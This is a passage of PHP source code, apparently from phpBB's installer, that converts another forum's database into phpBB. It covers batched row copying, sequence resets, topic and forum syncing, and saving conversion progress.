', )); } } // end submit foreach ($this->convert_options as $config_key => $vars) { if (!is_array($vars) && strpos($config_key, 'legend') === false) { continue; } if (strpos($config_key, 'legend') !== false) { $template->assign_block_vars('options', array( 'S_LEGEND' => true, 'LEGEND' => $lang[$vars]) ); continue; } $options = isset($vars['options']) ? $vars['options'] : ''; $template->assign_block_vars('options', array( 'KEY' => $config_key, 'TITLE' => $lang[$vars['lang']], 'S_EXPLAIN' => $vars['explain'], 'S_LEGEND' => false, 'TITLE_EXPLAIN' => ($vars['explain']) ? $lang[$vars['lang'] . '_EXPLAIN'] : '', 'CONTENT' => $this->p_master->input_field($config_key, $vars['type'], $$config_key, $options), ) ); } $template->assign_vars(array( 'TITLE' => $lang['STAGE_SETTINGS'], 'BODY' => $lang['CONV_OPTIONS_BODY'], 'L_SUBMIT' => $lang['BEGIN_CONVERT'], 'U_ACTION' => $this->p_master->module_url . "?mode={$this->mode}&sub=settings&tag=$convertor_tag&language=$language", )); } /** * The function which does the actual work (or dispatches it to the relevant places) */ function convert_data($sub) { global $template, $user, $phpbb_root_path, $phpEx, $db, $lang, $config, $cache; global $convert, $convert_row, $message_parser, $skip_rows, $language; require($phpbb_root_path . 'config.' . $phpEx); require($phpbb_root_path . 'includes/constants.' . $phpEx); require($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); require($phpbb_root_path . 'includes/functions_convert.' . $phpEx); $db = new $sql_db(); $db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, true); unset($dbpasswd); $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); // Override a couple of config variables for the duration $config['max_quote_depth'] = 0; // @todo Need to confirm that max post length in source is <= max post length in destination or there may be interesting formatting issues $config['max_post_chars'] = $config['min_post_chars'] = 0; // Set up a user as well. We _should_ have enough of a database here at this point to do this // and it helps for any core code we call $user->session_begin(); $user->page = $user->extract_current_page($phpbb_root_path); // This is a little bit of a fudge, but it allows the language entries to be available to the // core code without us loading them again $user->lang = &$lang; $this->page_title = $user->lang['STAGE_IN_PROGRESS']; $convert->options = array(); if (isset($config['convert_progress'])) { $convert->options = unserialize($config['convert_progress']); $convert->options = array_merge($convert->options, unserialize($config['convert_db_server']), unserialize($config['convert_db_user']), unserialize($config['convert_options'])); } // This information should have already been checked once, but do it again for safety if (empty($convert->options) || empty($convert->options['tag']) || !isset($convert->options['dbms']) || !isset($convert->options['dbhost']) || !isset($convert->options['dbport']) || !isset($convert->options['dbuser']) || !isset($convert->options['dbpasswd']) || !isset($convert->options['dbname']) || !isset($convert->options['table_prefix'])) { $this->p_master->error($user->lang['NO_CONVERT_SPECIFIED'], __LINE__, __FILE__); } // Make some short variables accessible, for easier referencing $convert->convertor_tag = basename($convert->options['tag']); $convert->src_dbms = $convert->options['dbms']; $convert->src_dbhost = $convert->options['dbhost']; $convert->src_dbport = $convert->options['dbport']; $convert->src_dbuser = $convert->options['dbuser']; $convert->src_dbpasswd = $convert->options['dbpasswd']; $convert->src_dbname = $convert->options['dbname']; $convert->src_table_prefix = $convert->options['table_prefix']; // initiate database connection to old db if old and new db differ global $src_db, $same_db; $src_db = $same_db = null; if ($convert->src_dbms != $dbms || $convert->src_dbhost != $dbhost || $convert->src_dbport != $dbport || $convert->src_dbname != $dbname || $convert->src_dbuser != $dbuser) { if ($convert->src_dbms != $dbms) { require($phpbb_root_path . 'includes/db/' . $convert->src_dbms . '.' . $phpEx); } $sql_db = 'dbal_' . $convert->src_dbms; $src_db = new $sql_db(); $src_db->sql_connect($convert->src_dbhost, $convert->src_dbuser, htmlspecialchars_decode($convert->src_dbpasswd), $convert->src_dbname, $convert->src_dbport, false, true); $same_db = false; } else { $src_db = $db; $same_db = true; } $convert->mysql_convert = false; switch ($src_db->sql_layer) { case 'sqlite': case 'firebird': $convert->src_truncate_statement = 'DELETE FROM '; break; // Thanks MySQL, for silently converting... case 'mysql': case 'mysql4': if (version_compare($src_db->sql_server_info(true, false), '4.1.3', '>=')) { $convert->mysql_convert = true; } $convert->src_truncate_statement = 'TRUNCATE TABLE '; break; case 'mysqli': $convert->mysql_convert = true; $convert->src_truncate_statement = 'TRUNCATE TABLE '; break; default: $convert->src_truncate_statement = 'TRUNCATE TABLE '; break; } if ($convert->mysql_convert && !$same_db) { $src_db->sql_query("SET NAMES 'binary'"); } switch ($db->sql_layer) { case 'sqlite': case 'firebird': $convert->truncate_statement = 'DELETE FROM '; break; default: $convert->truncate_statement = 'TRUNCATE TABLE '; break; } $get_info = false; // check security implications of direct inclusion if (!file_exists('./convertors/convert_' . $convert->convertor_tag . '.' . $phpEx)) { $this->p_master->error($user->lang['CONVERT_NOT_EXIST'], __LINE__, __FILE__); } if (file_exists('./convertors/functions_' . $convert->convertor_tag . '.' . $phpEx)) { include('./convertors/functions_' . $convert->convertor_tag . '.' . $phpEx); } $get_info = true; include('./convertors/convert_' . $convert->convertor_tag . '.' . $phpEx); // Map some variables... $convert->convertor_data = $convertor_data; $convert->tables = $tables; $convert->config_schema = $config_schema; // Now include the real data $get_info = false; include('./convertors/convert_' . $convert->convertor_tag . '.' . $phpEx); $convert->convertor_data = $convertor_data; $convert->tables = $tables; $convert->config_schema = $config_schema; $convert->convertor = $convertor; // The test_file is a file that should be present in the location of the old board. if (!file_exists($convert->options['forum_path'] . '/' . $test_file)) { $this->p_master->error(sprintf($user->lang['COULD_NOT_FIND_PATH'], $convert->options['forum_path']), __LINE__, __FILE__); } $search_type = basename(trim($config['search_type'])); // For conversions we are a bit less strict and set to a search backend we know exist... if (!file_exists($phpbb_root_path . 'includes/search/' . $search_type . '.' . $phpEx)) { $search_type = 'fulltext_native'; set_config('search_type', $search_type); } if (!file_exists($phpbb_root_path . 'includes/search/' . $search_type . '.' . $phpEx)) { trigger_error('NO_SUCH_SEARCH_MODULE'); } require($phpbb_root_path . 'includes/search/' . $search_type . '.' . $phpEx); $error = false; $convert->fulltext_search = new $search_type($error); if ($error) { trigger_error($error); } include($phpbb_root_path . 'includes/message_parser.' . $phpEx); $message_parser = new parse_message(); $jump = request_var('jump', 0); $final_jump = request_var('final_jump', 0); $sync_batch = request_var('sync_batch', -1); $last_statement = request_var('last', 0); // We are running sync... if ($sync_batch >= 0) { $this->sync_forums($sync_batch); return; } if ($jump) { $this->jump($jump, $last_statement); return; } if ($final_jump) { $this->final_jump($final_jump); return; } $current_table = request_var('current_table', 0); $old_current_table = min(-1, $current_table - 1); $skip_rows = request_var('skip_rows', 0); if (!$current_table && !$skip_rows) { if (empty($_REQUEST['confirm'])) { // If avatars / ranks / smilies folders are specified make sure they are writable $bad_folders = array(); $local_paths = array( 'avatar_path' => path($config['avatar_path']), 'avatar_gallery_path' => path($config['avatar_gallery_path']), 'icons_path' => path($config['icons_path']), 'ranks_path' => path($config['ranks_path']), 'smilies_path' => path($config['smilies_path']) ); foreach ($local_paths as $folder => $local_path) { if (isset($convert->convertor[$folder])) { if (empty($convert->convertor['test_file'])) { // test_file is mandantory at the moment so this should never be reached, but just in case... $this->p_master->error($user->lang['DEV_NO_TEST_FILE'], __LINE__, __FILE__); } if (!$local_path || !phpbb_is_writable($phpbb_root_path . $local_path)) { if (!$local_path) { $bad_folders[] = sprintf($user->lang['CONFIG_PHPBB_EMPTY'], $folder); } else { $bad_folders[] = $local_path; } } } } if (sizeof($bad_folders)) { $msg = (sizeof($bad_folders) == 1) ? $user->lang['MAKE_FOLDER_WRITABLE'] : $user->lang['MAKE_FOLDERS_WRITABLE']; sort($bad_folders); $this->p_master->error(sprintf($msg, implode('
', $bad_folders)), __LINE__, __FILE__, true); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['INSTALL_TEST'], 'U_ACTION' => $this->p_master->module_url . "?mode={$this->mode}&sub=in_progress&tag={$convert->convertor_tag}&language=$language", )); return; } // Grab all the tables used in convertor $missing_tables = $tables_list = $aliases = array(); foreach ($convert->convertor['schema'] as $schema) { // Skip those not used (because of addons/plugins not detected) if (!$schema['target']) { continue; } foreach ($schema as $key => $val) { // we're dealing with an array like: // array('forum_status', 'forums.forum_status', 'is_item_locked') if (is_int($key) && !empty($val[1])) { $temp_data = $val[1]; if (!is_array($temp_data)) { $temp_data = array($temp_data); } foreach ($temp_data as $val) { if (preg_match('/([a-z0-9_]+)\.([a-z0-9_]+)\)* ?A?S? ?([a-z0-9_]*?)\.?([a-z0-9_]*)$/i', $val, $m)) { $table = $convert->src_table_prefix . $m[1]; $tables_list[$table] = $table; if (!empty($m[3])) { $aliases[] = $convert->src_table_prefix . $m[3]; } } } } // 'left_join' => 'topics LEFT JOIN vote_desc ON topics.topic_id = vote_desc.topic_id AND topics.topic_vote = 1' else if ($key == 'left_join') { // Convert the value if it wasn't an array already. if (!is_array($val)) { $val = array($val); } for ($j = 0; $j < sizeof($val); ++$j) { if (preg_match('/LEFT JOIN ([a-z0-9_]+) AS ([a-z0-9_]+)/i', $val[$j], $m)) { $table = $convert->src_table_prefix . $m[1]; $tables_list[$table] = $table; if (!empty($m[2])) { $aliases[] = $convert->src_table_prefix . $m[2]; } } } } } } // Remove aliased tables from $tables_list foreach ($aliases as $alias) { unset($tables_list[$alias]); } // Check if the tables that we need exist $src_db->sql_return_on_error(true); foreach ($tables_list as $table => $null) { $sql = 'SELECT 1 FROM ' . $table; $_result = $src_db->sql_query_limit($sql, 1); if (!$_result) { $missing_tables[] = $table; } $src_db->sql_freeresult($_result); } $src_db->sql_return_on_error(false); // Throw an error if some tables are missing // We used to do some guessing here, but since we have a suggestion of possible values earlier, I don't see it adding anything here to do it again if (sizeof($missing_tables) == sizeof($tables_list)) { $this->p_master->error($user->lang['NO_TABLES_FOUND'] . ' ' . $user->lang['CHECK_TABLE_PREFIX'], __LINE__, __FILE__); } else if (sizeof($missing_tables)) { $this->p_master->error(sprintf($user->lang['TABLES_MISSING'], implode(', ', $missing_tables)) . '

' . $user->lang['CHECK_TABLE_PREFIX'], __LINE__, __FILE__); } $url = $this->save_convert_progress('&confirm=1'); $msg = $user->lang['PRE_CONVERT_COMPLETE']; if ($convert->convertor_data['author_notes']) { $msg .= '

' . sprintf($user->lang['AUTHOR_NOTES'], $convert->convertor_data['author_notes']); } $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'L_MESSAGE' => $msg, 'U_ACTION' => $url, )); return; } // if (empty($_REQUEST['confirm'])) $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $user->lang['STARTING_CONVERT'], )); // Convert the config table and load the settings of the old board if (!empty($convert->config_schema)) { restore_config($convert->config_schema); // Override a couple of config variables for the duration $config['max_quote_depth'] = 0; // @todo Need to confirm that max post length in source is <= max post length in destination or there may be interesting formatting issues $config['max_post_chars'] = $config['min_post_chars'] = 0; } $template->assign_block_vars('checks', array( 'TITLE' => $user->lang['CONFIG_CONVERT'], 'RESULT' => $user->lang['DONE'], )); // Now process queries and execute functions that have to be executed prior to the conversion if (!empty($convert->convertor['execute_first'])) { eval($convert->convertor['execute_first']); } if (!empty($convert->convertor['query_first'])) { if (!is_array($convert->convertor['query_first'])) { $convert->convertor['query_first'] = array('target', array($convert->convertor['query_first'])); } else if (!is_array($convert->convertor['query_first'][0])) { $convert->convertor['query_first'] = array(array($convert->convertor['query_first'][0], $convert->convertor['query_first'][1])); } foreach ($convert->convertor['query_first'] as $query_first) { if ($query_first[0] == 'src') { if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $src_db->sql_query($query_first[1]); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } } else { $db->sql_query($query_first[1]); } } } $template->assign_block_vars('checks', array( 'TITLE' => $user->lang['PREPROCESS_STEP'], 'RESULT' => $user->lang['DONE'], )); } // if (!$current_table && !$skip_rows) $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $user->lang['FILLING_TABLES'], )); // This loop takes one target table and processes it while ($current_table < sizeof($convert->convertor['schema'])) { $schema = $convert->convertor['schema'][$current_table]; // The target table isn't set, this can be because a module (for example the attachement mod) is taking care of this. if (empty($schema['target'])) { $current_table++; continue; } $template->assign_block_vars('checks', array( 'TITLE' => sprintf($user->lang['FILLING_TABLE'], $schema['target']), )); // This is only the case when we first start working on the tables. if (!$skip_rows) { // process execute_first and query_first for this table... if (!empty($schema['execute_first'])) { eval($schema['execute_first']); } if (!empty($schema['query_first'])) { if (!is_array($schema['query_first'])) { $schema['query_first'] = array('target', array($schema['query_first'])); } else if (!is_array($schema['query_first'][0])) { $schema['query_first'] = array(array($schema['query_first'][0], $schema['query_first'][1])); } foreach ($schema['query_first'] as $query_first) { if ($query_first[0] == 'src') { if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $src_db->sql_query($query_first[1]); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } } else { $db->sql_query($query_first[1]); } } } if (!empty($schema['autoincrement'])) { switch ($db->sql_layer) { case 'postgres': $db->sql_query("SELECT SETVAL('" . $schema['target'] . "_seq',(select case when max(" . $schema['autoincrement'] . ")>0 then max(" . $schema['autoincrement'] . ")+1 else 1 end from " . $schema['target'] . '));'); break; case 'oracle': $result = $db->sql_query('SELECT MAX(' . $schema['autoincrement'] . ') as max_id FROM ' . $schema['target']); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $largest_id = (int) $row['max_id']; if ($largest_id) { $db->sql_query('DROP SEQUENCE ' . $schema['target'] . '_seq'); $db->sql_query('CREATE SEQUENCE ' . $schema['target'] . '_seq START WITH ' . ($largest_id + 1)); } break; } } } // Process execute_always for this table // This is for code which needs to be executed on every pass of this table if // it gets split because of time restrictions if (!empty($schema['execute_always'])) { eval($schema['execute_always']); } // // Set up some variables // // $waiting_rows holds rows for multirows insertion (MySQL only) // $src_tables holds unique tables with aliases to select from // $src_fields will quickly refer source fields (or aliases) corresponding to the current index // $select_fields holds the names of the fields to retrieve // $sql_data = array( 'source_fields' => array(), 'target_fields' => array(), 'source_tables' => array(), 'select_fields' => array(), ); // This statement is building the keys for later insertion. $insert_query = $this->build_insert_query($schema, $sql_data, $current_table); // If no source table is affected, we skip the table if (empty($sql_data['source_tables'])) { $skip_rows = 0; $current_table++; continue; } $distinct = (!empty($schema['distinct'])) ? 'DISTINCT ' : ''; $sql = 'SELECT ' . $distinct . implode(', ', $sql_data['select_fields']) . " \nFROM " . implode(', ', $sql_data['source_tables']); // Where $sql .= (!empty($schema['where'])) ? "\nWHERE (" . $schema['where'] . ')' : ''; // Group By if (!empty($schema['group_by'])) { $schema['group_by'] = array($schema['group_by']); foreach ($sql_data['select_fields'] as $select) { $alias = strpos(strtolower($select), ' as '); $select = ($alias) ? substr($select, 0, $alias) : $select; if (!in_array($select, $schema['group_by'])) { $schema['group_by'][] = $select; } } } $sql .= (!empty($schema['group_by'])) ? "\nGROUP BY " . implode(', ', $schema['group_by']) : ''; // Having $sql .= (!empty($schema['having'])) ? "\nHAVING " . $schema['having'] : ''; // Order By if (empty($schema['order_by']) && !empty($schema['primary'])) { $schema['order_by'] = $schema['primary']; } $sql .= (!empty($schema['order_by'])) ? "\nORDER BY " . $schema['order_by'] : ''; // Counting basically holds the amount of rows processed. $counting = -1; $batch_time = 0; while ($counting === -1 || ($counting >= $convert->batch_size && still_on_time())) { $old_current_table = $current_table; $rows = ''; $waiting_rows = array(); if (!empty($batch_time)) { $mtime = explode(' ', microtime()); $mtime = $mtime[0] + $mtime[1]; $rows = ceil($counting/($mtime - $batch_time)) . " rows/s ($counting rows) | "; } $template->assign_block_vars('checks', array( 'TITLE' => "skip_rows = $skip_rows", 'RESULT' => $rows . ((defined('DEBUG_EXTRA') && function_exists('memory_get_usage')) ? ceil(memory_get_usage()/1024) . ' ' . $user->lang['KIB'] : ''), )); $mtime = explode(' ', microtime()); $batch_time = $mtime[0] + $mtime[1]; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } // Take skip rows into account and only fetch batch_size amount of rows $___result = $src_db->sql_query_limit($sql, $convert->batch_size, $skip_rows); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } // This loop processes each row $counting = 0; $convert->row = $convert_row = array(); if (!empty($schema['autoincrement'])) { switch ($db->sql_layer) { case 'mssql': case 'mssql_odbc': case 'mssqlnative': $db->sql_query('SET IDENTITY_INSERT ' . $schema['target'] . ' ON'); break; } } // Now handle the rows until time is over or no more rows to process... while ($counting === 0 || still_on_time()) { $convert_row = $src_db->sql_fetchrow($___result); if (!$convert_row) { // move to the next batch or table break; } // With this we are able to always save the last state $convert->row = $convert_row; // Increment the counting variable, it stores the number of rows we have processed $counting++; $insert_values = array(); $sql_flag = $this->process_row($schema, $sql_data, $insert_values); if ($sql_flag === true) { switch ($db->sql_layer) { // If MySQL, we'll wait to have num_wait_rows rows to submit at once case 'mysql': case 'mysql4': case 'mysqli': $waiting_rows[] = '(' . implode(', ', $insert_values) . ')'; if (sizeof($waiting_rows) >= $convert->num_wait_rows) { $errored = false; $db->sql_return_on_error(true); if (!$db->sql_query($insert_query . implode(', ', $waiting_rows))) { $errored = true; } $db->sql_return_on_error(false); if ($errored) { $db->sql_return_on_error(true); // Because it errored out we will try to insert the rows one by one... most of the time this // is caused by duplicate entries - but we also do not want to miss one... foreach ($waiting_rows as $waiting_sql) { if (!$db->sql_query($insert_query . $waiting_sql)) { $this->p_master->db_error($user->lang['DB_ERR_INSERT'], htmlspecialchars($insert_query . $waiting_sql) . '

' . htmlspecialchars(print_r($db->_sql_error(), true)), __LINE__, __FILE__, true); } } $db->sql_return_on_error(false); } $waiting_rows = array(); } break; default: $insert_sql = $insert_query . '(' . implode(', ', $insert_values) . ')'; $db->sql_return_on_error(true); if (!$db->sql_query($insert_sql)) { $this->p_master->db_error($user->lang['DB_ERR_INSERT'], htmlspecialchars($insert_sql) . '

' . htmlspecialchars(print_r($db->_sql_error(), true)), __LINE__, __FILE__, true); } $db->sql_return_on_error(false); $waiting_rows = array(); break; } } $skip_rows++; } $src_db->sql_freeresult($___result); // We might still have some rows waiting if (sizeof($waiting_rows)) { $errored = false; $db->sql_return_on_error(true); if (!$db->sql_query($insert_query . implode(', ', $waiting_rows))) { $errored = true; } $db->sql_return_on_error(false); if ($errored) { $db->sql_return_on_error(true); // Because it errored out we will try to insert the rows one by one... most of the time this // is caused by duplicate entries - but we also do not want to miss one... foreach ($waiting_rows as $waiting_sql) { $db->sql_query($insert_query . $waiting_sql); $this->p_master->db_error($user->lang['DB_ERR_INSERT'], htmlspecialchars($insert_query . $waiting_sql) . '

' . htmlspecialchars(print_r($db->_sql_error(), true)), __LINE__, __FILE__, true); } $db->sql_return_on_error(false); } $waiting_rows = array(); } if (!empty($schema['autoincrement'])) { switch ($db->sql_layer) { case 'mssql': case 'mssql_odbc': case 'mssqlnative': $db->sql_query('SET IDENTITY_INSERT ' . $schema['target'] . ' OFF'); break; case 'postgres': $db->sql_query("SELECT SETVAL('" . $schema['target'] . "_seq',(select case when max(" . $schema['autoincrement'] . ")>0 then max(" . $schema['autoincrement'] . ")+1 else 1 end from " . $schema['target'] . '));'); break; case 'oracle': $result = $db->sql_query('SELECT MAX(' . $schema['autoincrement'] . ') as max_id FROM ' . $schema['target']); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $largest_id = (int) $row['max_id']; if ($largest_id) { $db->sql_query('DROP SEQUENCE ' . $schema['target'] . '_seq'); $db->sql_query('CREATE SEQUENCE ' . $schema['target'] . '_seq START WITH ' . ($largest_id + 1)); } break; } } } // When we reach this point, either the current table has been processed or we're running out of time. if (still_on_time() && $counting < $convert->batch_size/* && !defined('DEBUG_EXTRA')*/) { $skip_rows = 0; $current_table++; } else {/* if (still_on_time() && $counting < $convert->batch_size) { $skip_rows = 0; $current_table++; }*/ // Looks like we ran out of time. $url = $this->save_convert_progress('&current_table=' . $current_table . '&skip_rows=' . $skip_rows); $current_table++; // $percentage = ($skip_rows == 0) ? 0 : floor(100 / ($total_rows / $skip_rows)); $msg = sprintf($user->lang['STEP_PERCENT_COMPLETED'], $current_table, sizeof($convert->convertor['schema'])); $template->assign_vars(array( 'L_MESSAGE' => $msg, 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } } // Process execute_last then we'll be done $url = $this->save_convert_progress('&jump=1'); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['FINAL_STEP'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } /** * Sync function being executed at the middle, some functions need to be executed after a successful sync. */ function sync_forums($sync_batch) { global $template, $user, $db, $phpbb_root_path, $phpEx, $config, $cache; global $convert; $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $user->lang['SYNC_TOPICS'], )); $batch_size = $convert->batch_size; $sql = 'SELECT MIN(topic_id) as min_value, MAX(topic_id) AS max_value FROM ' . TOPICS_TABLE; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); // Set values of minimum/maximum primary value for this table. $primary_min = $row['min_value']; $primary_max = $row['max_value']; if ($sync_batch == 0) { $sync_batch = (int) $primary_min; } if ($sync_batch == 0) { $sync_batch = 1; } // Fetch a batch of rows, process and insert them. while ($sync_batch <= $primary_max && still_on_time()) { $end = ($sync_batch + $batch_size - 1); // Sync all topics in batch mode... sync('topic_approved', 'range', 'topic_id BETWEEN ' . $sync_batch . ' AND ' . $end, true, false); sync('topic', 'range', 'topic_id BETWEEN ' . $sync_batch . ' AND ' . $end, true, true); $template->assign_block_vars('checks', array( 'TITLE' => sprintf($user->lang['SYNC_TOPIC_ID'], $sync_batch, ($sync_batch + $batch_size)) . ((defined('DEBUG_EXTRA') && function_exists('memory_get_usage')) ? ' [' . ceil(memory_get_usage()/1024) . ' ' . $user->lang['KIB'] . ']' : ''), 'RESULT' => $user->lang['DONE'], )); $sync_batch += $batch_size; } if ($sync_batch >= $primary_max) { $url = $this->save_convert_progress('&final_jump=1'); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } else { $sync_batch--; } $url = $this->save_convert_progress('&sync_batch=' . $sync_batch); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } /** * Save the convertor status */ function save_convert_progress($step) { global $convert, $language; // Save convertor Status set_config('convert_progress', serialize(array( 'step' => $step, 'table_prefix' => $convert->src_table_prefix, 'tag' => $convert->convertor_tag, )), true); set_config('convert_db_server', serialize(array( 'dbms' => $convert->src_dbms, 'dbhost' => $convert->src_dbhost, 'dbport' => $convert->src_dbport, 'dbname' => $convert->src_dbname, )), true); set_config('convert_db_user', serialize(array( 'dbuser' => $convert->src_dbuser, 'dbpasswd' => $convert->src_dbpasswd, )), true); return $this->p_master->module_url . "?mode={$this->mode}&sub=in_progress&tag={$convert->convertor_tag}$step&language=$language"; } /** * Finish conversion, the last function to be called. */ function finish_conversion() { global $db, $phpbb_root_path, $phpEx, $convert, $config, $language, $user, $template; $db->sql_query('DELETE FROM ' . CONFIG_TABLE . " WHERE config_name = 'convert_progress' OR config_name = 'convert_options' OR config_name = 'convert_db_server' OR config_name = 'convert_db_user'"); $db->sql_query('DELETE FROM ' . SESSIONS_TABLE); @unlink($phpbb_root_path . 'cache/data_global.' . $phpEx); cache_moderators(); // And finally, add a note to the log add_log('admin', 'LOG_INSTALL_CONVERTED', $convert->convertor_data['forum_name'], $config['version']); $url = $this->p_master->module_url . "?mode={$this->mode}&sub=final&language=$language"; $template->assign_vars(array( 'L_SUBMIT' => $user->lang['FINAL_STEP'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } /** * This function marks the steps after syncing */ function final_jump($final_jump) { global $template, $user, $src_db, $same_db, $db, $phpbb_root_path, $phpEx, $config, $cache; global $convert; $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $user->lang['PROCESS_LAST'], )); if ($final_jump == 1) { $db->sql_return_on_error(true); update_topics_posted(); $template->assign_block_vars('checks', array( 'TITLE' => $user->lang['UPDATE_TOPICS_POSTED'], 'RESULT' => $user->lang['DONE'], )); if ($db->sql_error_triggered) { $template->assign_vars(array( 'S_ERROR_BOX' => true, 'ERROR_TITLE' => $user->lang['UPDATE_TOPICS_POSTED'], 'ERROR_MSG' => $user->lang['UPDATE_TOPICS_POSTED_ERR'], )); } $db->sql_return_on_error(false); $this->finish_conversion(); return; } } /** * This function marks the steps before syncing (jump=1) */ function jump($jump, $last_statement) { global $template, $user, $src_db, $same_db, $db, $phpbb_root_path, $phpEx, $config, $cache; global $convert; $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $user->lang['PROCESS_LAST'], )); if ($jump == 1) { // Execute 'last' statements/queries if (!empty($convert->convertor['execute_last'])) { if (!is_array($convert->convertor['execute_last'])) { eval($convert->convertor['execute_last']); } else { while ($last_statement < sizeof($convert->convertor['execute_last'])) { eval($convert->convertor['execute_last'][$last_statement]); $template->assign_block_vars('checks', array( 'TITLE' => $convert->convertor['execute_last'][$last_statement], 'RESULT' => $user->lang['DONE'], )); $last_statement++; $url = $this->save_convert_progress('&jump=1&last=' . $last_statement); $percentage = ($last_statement == 0) ? 0 : floor(100 / (sizeof($convert->convertor['execute_last']) / $last_statement)); $msg = sprintf($user->lang['STEP_PERCENT_COMPLETED'], $last_statement, sizeof($convert->convertor['execute_last']), $percentage); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_LAST'], 'L_MESSAGE' => $msg, 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } } } if (!empty($convert->convertor['query_last'])) { if (!is_array($convert->convertor['query_last'])) { $convert->convertor['query_last'] = array('target', array($convert->convertor['query_last'])); } else if (!is_array($convert->convertor['query_last'][0])) { $convert->convertor['query_last'] = array(array($convert->convertor['query_last'][0], $convert->convertor['query_last'][1])); } foreach ($convert->convertor['query_last'] as $query_last) { if ($query_last[0] == 'src') { if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $src_db->sql_query($query_last[1]); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } } else { $db->sql_query($query_last[1]); } } } // Sanity check $db->sql_return_on_error(false); $src_db->sql_return_on_error(false); fix_empty_primary_groups(); $sql = 'SELECT MIN(user_regdate) AS board_startdate FROM ' . USERS_TABLE; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); if (!isset($config['board_startdate']) || ($row['board_startdate'] < $config['board_startdate'] && $row['board_startdate'] > 0)) { set_config('board_startdate', $row['board_startdate']); $db->sql_query('UPDATE ' . USERS_TABLE . ' SET user_regdate = ' . $row['board_startdate'] . ' WHERE user_id = ' . ANONYMOUS); } update_dynamic_config(); $template->assign_block_vars('checks', array( 'TITLE' => $user->lang['CLEAN_VERIFY'], 'RESULT' => $user->lang['DONE'], )); $url = $this->save_convert_progress('&jump=2'); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } if ($jump == 2) { $db->sql_query('UPDATE ' . USERS_TABLE . " SET user_permissions = ''"); // TODO: sync() is likely going to bomb out on forums with a considerable amount of topics. // TODO: the sync function is able to handle FROM-TO values, we should use them here (batch processing) sync('forum', '', '', false, true); $cache->destroy('sql', FORUMS_TABLE); $template->assign_block_vars('checks', array( 'TITLE' => $user->lang['SYNC_FORUMS'], 'RESULT' => $user->lang['DONE'], )); // Continue with synchronizing the forums... $url = $this->save_convert_progress('&sync_batch=0'); $template->assign_vars(array( 'L_SUBMIT' => $user->lang['CONTINUE_CONVERT'], 'U_ACTION' => $url, )); $this->meta_refresh($url); return; } } function build_insert_query(&$schema, &$sql_data, $current_table) { global $db, $user; global $convert; // Can we use IGNORE with this DBMS? $sql_ignore = (strpos($db->sql_layer, 'mysql') === 0 && !defined('DEBUG_EXTRA')) ? 'IGNORE ' : ''; $insert_query = 'INSERT ' . $sql_ignore . 'INTO ' . $schema['target'] . ' ('; $aliases = array(); $sql_data = array( 'source_fields' => array(), 'target_fields' => array(), 'source_tables' => array(), 'select_fields' => array(), ); foreach ($schema as $key => $val) { // Example: array('group_name', 'extension_groups.group_name', 'htmlspecialchars'), if (is_int($key)) { if (!empty($val[0])) { // Target fields $sql_data['target_fields'][$val[0]] = $key; $insert_query .= $val[0] . ', '; } if (!is_array($val[1])) { $val[1] = array($val[1]); } foreach ($val[1] as $valkey => $value_1) { // This should cover about any case: // // table.field => SELECT table.field FROM table // table.field AS alias => SELECT table.field AS alias FROM table // table.field AS table2.alias => SELECT table2.field AS alias FROM table table2 // table.field AS table2.field => SELECT table2.field FROM table table2 // if (preg_match('/^([a-z0-9_]+)\.([a-z0-9_]+)( +AS +(([a-z0-9_]+?)\.)?([a-z0-9_]+))?$/i', $value_1, $m)) { // There is 'AS ...' in the field names if (!empty($m[3])) { $value_1 = ($m[2] == $m[6]) ? $m[1] . '.' . $m[2] : $m[1] . '.' . $m[2] . ' AS ' . $m[6]; // Table alias: store it then replace the source table with it if (!empty($m[5]) && $m[5] != $m[1]) { $aliases[$m[5]] = $m[1]; $value_1 = str_replace($m[1] . '.' . $m[2], $m[5] . '.' . $m[2], $value_1); } } else { // No table alias $sql_data['source_tables'][$m[1]] = (empty($convert->src_table_prefix)) ? $m[1] : $convert->src_table_prefix . $m[1] . ' ' . $m[1]; } $sql_data['select_fields'][$value_1] = 